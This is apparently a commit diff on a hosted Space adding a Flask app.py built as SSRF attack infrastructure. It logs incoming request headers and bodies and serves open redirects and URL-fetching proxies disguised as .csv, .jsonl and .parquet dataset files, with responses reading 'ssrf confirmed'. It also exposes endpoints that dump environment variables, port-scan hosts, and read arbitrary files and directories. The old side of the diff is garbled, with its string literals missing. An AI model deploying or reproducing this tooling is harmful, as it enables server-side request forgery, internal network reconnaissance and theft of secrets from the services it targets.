Spaces:
Sleeping
Sleeping
Add redirect endpoints with file extensions
Browse files
app.py
CHANGED
|
@@ -4,223 +4,221 @@ import requests, os, socket, json, time
|
|
| 4 |
app = Flask(__name__)
|
| 5 |
LOG = []
|
| 6 |
|
| 7 |
-
@app.route(
|
| 8 |
def index():
|
| 9 |
-
return
|
| 10 |
|
| 11 |
-
@app.route(
|
| 12 |
def log_request():
|
| 13 |
entry = {
|
| 14 |
-
|
| 15 |
-
|
| 16 |
-
|
| 17 |
-
|
| 18 |
-
|
| 19 |
-
|
| 20 |
}
|
| 21 |
LOG.append(entry)
|
| 22 |
-
return
|
| 23 |
|
| 24 |
-
@app.route(
|
| 25 |
def show_logs():
|
| 26 |
return jsonify(LOG[-200:])
|
| 27 |
|
| 28 |
-
@app.route(
|
| 29 |
def clear_logs():
|
| 30 |
LOG.clear()
|
| 31 |
-
return
|
| 32 |
|
| 33 |
-
@app.route(
|
| 34 |
def fetch():
|
| 35 |
-
url = request.args.get(
|
| 36 |
headers = {}
|
| 37 |
-
for h in request.args.get(
|
| 38 |
-
if
|
| 39 |
-
k, v = h.split(
|
| 40 |
-
headers[k] = v.replace(
|
| 41 |
try:
|
| 42 |
r = requests.get(url, headers=headers, timeout=5, verify=False)
|
| 43 |
-
return r.text, r.status_code, {
|
| 44 |
except Exception as e:
|
| 45 |
return str(e), 500
|
| 46 |
|
| 47 |
-
@app.route(
|
| 48 |
def redir():
|
| 49 |
-
target = request.args.get(
|
| 50 |
-
code = int(request.args.get(
|
| 51 |
entry = {
|
| 52 |
-
|
| 53 |
-
|
| 54 |
-
|
| 55 |
-
|
| 56 |
-
|
| 57 |
}
|
| 58 |
LOG.append(entry)
|
| 59 |
return redirect(target, code=code)
|
| 60 |
|
| 61 |
# Redirect endpoint that looks like a CSV file
|
| 62 |
-
@app.route(
|
| 63 |
def redir_csv():
|
| 64 |
-
target = request.args.get(
|
| 65 |
-
code = int(request.args.get(
|
| 66 |
entry = {
|
| 67 |
-
|
| 68 |
-
|
| 69 |
-
|
| 70 |
-
|
| 71 |
-
|
| 72 |
}
|
| 73 |
LOG.append(entry)
|
| 74 |
return redirect(target, code=code)
|
| 75 |
|
| 76 |
# Redirect that looks like a JSONL file
|
| 77 |
-
@app.route(
|
| 78 |
def redir_jsonl():
|
| 79 |
-
target = request.args.get(
|
| 80 |
-
code = int(request.args.get(
|
| 81 |
entry = {
|
| 82 |
-
|
| 83 |
-
|
| 84 |
-
|
| 85 |
-
|
| 86 |
-
|
| 87 |
}
|
| 88 |
LOG.append(entry)
|
| 89 |
return redirect(target, code=code)
|
| 90 |
|
| 91 |
# Redirect that looks like a parquet file
|
| 92 |
-
@app.route(
|
| 93 |
def redir_parquet():
|
| 94 |
-
target = request.args.get(
|
| 95 |
-
code = int(request.args.get(
|
| 96 |
entry = {
|
| 97 |
-
|
| 98 |
-
|
| 99 |
-
|
| 100 |
-
|
| 101 |
-
|
| 102 |
}
|
| 103 |
LOG.append(entry)
|
| 104 |
return redirect(target, code=code)
|
| 105 |
|
| 106 |
# Smart proxy CSV: fetches any URL and returns result as CSV
|
| 107 |
-
@app.route(
|
| 108 |
def proxy_csv():
|
| 109 |
-
target = request.args.get(
|
| 110 |
entry = {
|
| 111 |
-
|
| 112 |
-
|
| 113 |
-
|
| 114 |
-
|
| 115 |
-
|
| 116 |
}
|
| 117 |
LOG.append(entry)
|
| 118 |
if not target:
|
| 119 |
-
return
|
| 120 |
-
no target specified
|
| 121 |
-
", 200, {"Content-Type": "text/csv"}
|
| 122 |
try:
|
| 123 |
r = requests.get(target, timeout=10, verify=False)
|
| 124 |
-
lines = r.text.split(
|
| 125 |
-
csv_data =
|
| 126 |
-
return csv_data, 200, {
|
| 127 |
except Exception as e:
|
| 128 |
-
return f
|
| 129 |
|
| 130 |
# Smart proxy JSONL
|
| 131 |
-
@app.route(
|
| 132 |
def proxy_jsonl():
|
| 133 |
-
target = request.args.get(
|
| 134 |
entry = {
|
| 135 |
-
|
| 136 |
-
|
| 137 |
-
|
| 138 |
-
|
| 139 |
-
|
| 140 |
}
|
| 141 |
LOG.append(entry)
|
| 142 |
if not target:
|
| 143 |
-
return
|
| 144 |
try:
|
| 145 |
r = requests.get(target, timeout=10, verify=False)
|
| 146 |
-
lines = r.text.split(
|
| 147 |
-
jsonl_data =
|
| 148 |
-
return jsonl_data, 200, {
|
| 149 |
except Exception as e:
|
| 150 |
-
return json.dumps({"text": f"error: {str(e)}"}) +
|
| 151 |
|
| 152 |
-
@app.route(
|
| 153 |
def serve_csv():
|
| 154 |
entry = {
|
| 155 |
-
|
| 156 |
-
|
| 157 |
-
|
| 158 |
-
|
| 159 |
-
|
| 160 |
-
|
| 161 |
}
|
| 162 |
LOG.append(entry)
|
| 163 |
-
return
|
| 164 |
|
| 165 |
-
@app.route(
|
| 166 |
def serve_jsonl():
|
| 167 |
entry = {
|
| 168 |
-
|
| 169 |
-
|
| 170 |
-
|
| 171 |
-
|
| 172 |
-
|
| 173 |
-
|
| 174 |
}
|
| 175 |
LOG.append(entry)
|
| 176 |
-
return
|
| 177 |
|
| 178 |
-
@app.route(
|
| 179 |
def env():
|
| 180 |
return jsonify(dict(os.environ))
|
| 181 |
|
| 182 |
-
@app.route(
|
| 183 |
def scan():
|
| 184 |
-
host = request.args.get(
|
| 185 |
-
ports = request.args.get(
|
| 186 |
-
timeout = float(request.args.get(
|
| 187 |
results = {}
|
| 188 |
for p in ports:
|
| 189 |
try:
|
| 190 |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 191 |
s.settimeout(timeout)
|
| 192 |
r = s.connect_ex((host, int(p)))
|
| 193 |
-
results[p] =
|
| 194 |
s.close()
|
| 195 |
except Exception as e:
|
| 196 |
results[p] = str(e)
|
| 197 |
return jsonify(results)
|
| 198 |
|
| 199 |
-
@app.route(
|
| 200 |
def resolve():
|
| 201 |
-
host = request.args.get(
|
| 202 |
try:
|
| 203 |
-
return jsonify({
|
| 204 |
except Exception as e:
|
| 205 |
-
return jsonify({
|
| 206 |
|
| 207 |
-
@app.route(
|
| 208 |
def readfile():
|
| 209 |
-
path = request.args.get(
|
| 210 |
try:
|
| 211 |
-
with open(path,
|
| 212 |
-
return f.read()[:10000], 200, {
|
| 213 |
except Exception as e:
|
| 214 |
return str(e), 500
|
| 215 |
|
| 216 |
-
@app.route(
|
| 217 |
def listdir():
|
| 218 |
-
path = request.args.get(
|
| 219 |
try:
|
| 220 |
entries = os.listdir(path)
|
| 221 |
return jsonify(entries)
|
| 222 |
except Exception as e:
|
| 223 |
-
return jsonify({
|
| 224 |
|
| 225 |
-
if __name__ ==
|
| 226 |
-
app.run(host=
|
|
|
|
| 4 |
app = Flask(__name__)
|
| 5 |
LOG = []
|
| 6 |
|
| 7 |
+
@app.route('/')
|
| 8 |
def index():
|
| 9 |
+
return 'OK'
|
| 10 |
|
| 11 |
+
@app.route('/log', methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH'])
|
| 12 |
def log_request():
|
| 13 |
entry = {
|
| 14 |
+
'time': time.time(),
|
| 15 |
+
'method': request.method,
|
| 16 |
+
'path': request.full_path,
|
| 17 |
+
'headers': dict(request.headers),
|
| 18 |
+
'body': request.get_data(as_text=True)[:2000],
|
| 19 |
+
'remote_addr': request.remote_addr
|
| 20 |
}
|
| 21 |
LOG.append(entry)
|
| 22 |
+
return 'logged'
|
| 23 |
|
| 24 |
+
@app.route('/logs')
|
| 25 |
def show_logs():
|
| 26 |
return jsonify(LOG[-200:])
|
| 27 |
|
| 28 |
+
@app.route('/clear-logs')
|
| 29 |
def clear_logs():
|
| 30 |
LOG.clear()
|
| 31 |
+
return 'cleared'
|
| 32 |
|
| 33 |
+
@app.route('/fetch')
|
| 34 |
def fetch():
|
| 35 |
+
url = request.args.get('url', '')
|
| 36 |
headers = {}
|
| 37 |
+
for h in request.args.get('headers', '').split(','):
|
| 38 |
+
if ':' in h:
|
| 39 |
+
k, v = h.split(':', 1)
|
| 40 |
+
headers[k] = v.replace('+', ' ')
|
| 41 |
try:
|
| 42 |
r = requests.get(url, headers=headers, timeout=5, verify=False)
|
| 43 |
+
return r.text, r.status_code, {'Content-Type': 'text/plain'}
|
| 44 |
except Exception as e:
|
| 45 |
return str(e), 500
|
| 46 |
|
| 47 |
+
@app.route('/redir')
|
| 48 |
def redir():
|
| 49 |
+
target = request.args.get('url', '/')
|
| 50 |
+
code = int(request.args.get('code', '302'))
|
| 51 |
entry = {
|
| 52 |
+
'time': time.time(),
|
| 53 |
+
'method': request.method,
|
| 54 |
+
'path': request.full_path,
|
| 55 |
+
'headers': dict(request.headers),
|
| 56 |
+
'remote_addr': request.remote_addr
|
| 57 |
}
|
| 58 |
LOG.append(entry)
|
| 59 |
return redirect(target, code=code)
|
| 60 |
|
| 61 |
# Redirect endpoint that looks like a CSV file
|
| 62 |
+
@app.route('/redir-data.csv')
|
| 63 |
def redir_csv():
|
| 64 |
+
target = request.args.get('t', '/')
|
| 65 |
+
code = int(request.args.get('code', '302'))
|
| 66 |
entry = {
|
| 67 |
+
'time': time.time(),
|
| 68 |
+
'method': request.method,
|
| 69 |
+
'path': request.full_path,
|
| 70 |
+
'headers': dict(request.headers),
|
| 71 |
+
'remote_addr': request.remote_addr
|
| 72 |
}
|
| 73 |
LOG.append(entry)
|
| 74 |
return redirect(target, code=code)
|
| 75 |
|
| 76 |
# Redirect that looks like a JSONL file
|
| 77 |
+
@app.route('/redir-data.jsonl')
|
| 78 |
def redir_jsonl():
|
| 79 |
+
target = request.args.get('t', '/')
|
| 80 |
+
code = int(request.args.get('code', '302'))
|
| 81 |
entry = {
|
| 82 |
+
'time': time.time(),
|
| 83 |
+
'method': request.method,
|
| 84 |
+
'path': request.full_path,
|
| 85 |
+
'headers': dict(request.headers),
|
| 86 |
+
'remote_addr': request.remote_addr
|
| 87 |
}
|
| 88 |
LOG.append(entry)
|
| 89 |
return redirect(target, code=code)
|
| 90 |
|
| 91 |
# Redirect that looks like a parquet file
|
| 92 |
+
@app.route('/redir-data.parquet')
|
| 93 |
def redir_parquet():
|
| 94 |
+
target = request.args.get('t', '/')
|
| 95 |
+
code = int(request.args.get('code', '302'))
|
| 96 |
entry = {
|
| 97 |
+
'time': time.time(),
|
| 98 |
+
'method': request.method,
|
| 99 |
+
'path': request.full_path,
|
| 100 |
+
'headers': dict(request.headers),
|
| 101 |
+
'remote_addr': request.remote_addr
|
| 102 |
}
|
| 103 |
LOG.append(entry)
|
| 104 |
return redirect(target, code=code)
|
| 105 |
|
| 106 |
# Smart proxy CSV: fetches any URL and returns result as CSV
|
| 107 |
+
@app.route('/proxy-csv.csv')
|
| 108 |
def proxy_csv():
|
| 109 |
+
target = request.args.get('t', '')
|
| 110 |
entry = {
|
| 111 |
+
'time': time.time(),
|
| 112 |
+
'method': request.method,
|
| 113 |
+
'path': request.full_path,
|
| 114 |
+
'headers': dict(request.headers),
|
| 115 |
+
'remote_addr': request.remote_addr
|
| 116 |
}
|
| 117 |
LOG.append(entry)
|
| 118 |
if not target:
|
| 119 |
+
return 'text\nno target specified\n', 200, {'Content-Type': 'text/csv'}
|
|
|
|
|
|
|
| 120 |
try:
|
| 121 |
r = requests.get(target, timeout=10, verify=False)
|
| 122 |
+
lines = r.text.split('\n')[:100]
|
| 123 |
+
csv_data = 'text\n' + '\n'.join(f'"{line}"' for line in lines if line.strip()) + '\n'
|
| 124 |
+
return csv_data, 200, {'Content-Type': 'text/csv'}
|
| 125 |
except Exception as e:
|
| 126 |
+
return f'text\nerror: {str(e)}\n', 200, {'Content-Type': 'text/csv'}
|
| 127 |
|
| 128 |
# Smart proxy JSONL
|
| 129 |
+
@app.route('/proxy-jsonl.jsonl')
|
| 130 |
def proxy_jsonl():
|
| 131 |
+
target = request.args.get('t', '')
|
| 132 |
entry = {
|
| 133 |
+
'time': time.time(),
|
| 134 |
+
'method': request.method,
|
| 135 |
+
'path': request.full_path,
|
| 136 |
+
'headers': dict(request.headers),
|
| 137 |
+
'remote_addr': request.remote_addr
|
| 138 |
}
|
| 139 |
LOG.append(entry)
|
| 140 |
if not target:
|
| 141 |
+
return '{"text": "no target"}\n', 200, {'Content-Type': 'application/jsonl'}
|
| 142 |
try:
|
| 143 |
r = requests.get(target, timeout=10, verify=False)
|
| 144 |
+
lines = r.text.split('\n')[:100]
|
| 145 |
+
jsonl_data = '\n'.join(json.dumps({"text": line}) for line in lines if line.strip()) + '\n'
|
| 146 |
+
return jsonl_data, 200, {'Content-Type': 'application/jsonl'}
|
| 147 |
except Exception as e:
|
| 148 |
+
return json.dumps({"text": f"error: {str(e)}"}) + '\n', 200, {'Content-Type': 'application/jsonl'}
|
| 149 |
|
| 150 |
+
@app.route('/data.csv')
|
| 151 |
def serve_csv():
|
| 152 |
entry = {
|
| 153 |
+
'time': time.time(),
|
| 154 |
+
'method': request.method,
|
| 155 |
+
'path': request.full_path,
|
| 156 |
+
'headers': dict(request.headers),
|
| 157 |
+
'body': request.get_data(as_text=True)[:2000],
|
| 158 |
+
'remote_addr': request.remote_addr
|
| 159 |
}
|
| 160 |
LOG.append(entry)
|
| 161 |
+
return 'text\nhello world\nssrf confirmed\n', 200, {'Content-Type': 'text/csv'}
|
| 162 |
|
| 163 |
+
@app.route('/data.jsonl')
|
| 164 |
def serve_jsonl():
|
| 165 |
entry = {
|
| 166 |
+
'time': time.time(),
|
| 167 |
+
'method': request.method,
|
| 168 |
+
'path': request.full_path,
|
| 169 |
+
'headers': dict(request.headers),
|
| 170 |
+
'body': request.get_data(as_text=True)[:2000],
|
| 171 |
+
'remote_addr': request.remote_addr
|
| 172 |
}
|
| 173 |
LOG.append(entry)
|
| 174 |
+
return '{"text": "hello world"}\n{"text": "ssrf confirmed"}\n', 200, {'Content-Type': 'application/jsonl'}
|
| 175 |
|
| 176 |
+
@app.route('/env')
|
| 177 |
def env():
|
| 178 |
return jsonify(dict(os.environ))
|
| 179 |
|
| 180 |
+
@app.route('/scan')
|
| 181 |
def scan():
|
| 182 |
+
host = request.args.get('host', '')
|
| 183 |
+
ports = request.args.get('ports', '80,443').split(',')
|
| 184 |
+
timeout = float(request.args.get('timeout', '1'))
|
| 185 |
results = {}
|
| 186 |
for p in ports:
|
| 187 |
try:
|
| 188 |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 189 |
s.settimeout(timeout)
|
| 190 |
r = s.connect_ex((host, int(p)))
|
| 191 |
+
results[p] = 'open' if r == 0 else 'closed'
|
| 192 |
s.close()
|
| 193 |
except Exception as e:
|
| 194 |
results[p] = str(e)
|
| 195 |
return jsonify(results)
|
| 196 |
|
| 197 |
+
@app.route('/resolve')
|
| 198 |
def resolve():
|
| 199 |
+
host = request.args.get('host', '')
|
| 200 |
try:
|
| 201 |
+
return jsonify({'ip': socket.gethostbyname(host), 'host': host})
|
| 202 |
except Exception as e:
|
| 203 |
+
return jsonify({'error': str(e)})
|
| 204 |
|
| 205 |
+
@app.route('/readfile')
|
| 206 |
def readfile():
|
| 207 |
+
path = request.args.get('path', '')
|
| 208 |
try:
|
| 209 |
+
with open(path, 'r') as f:
|
| 210 |
+
return f.read()[:10000], 200, {'Content-Type': 'text/plain'}
|
| 211 |
except Exception as e:
|
| 212 |
return str(e), 500
|
| 213 |
|
| 214 |
+
@app.route('/listdir')
|
| 215 |
def listdir():
|
| 216 |
+
path = request.args.get('path', '/')
|
| 217 |
try:
|
| 218 |
entries = os.listdir(path)
|
| 219 |
return jsonify(entries)
|
| 220 |
except Exception as e:
|
| 221 |
+
return jsonify({'error': str(e)})
|
| 222 |
|
| 223 |
+
if __name__ == '__main__':
|
| 224 |
+
app.run(host='0.0.0.0', port=7860)
|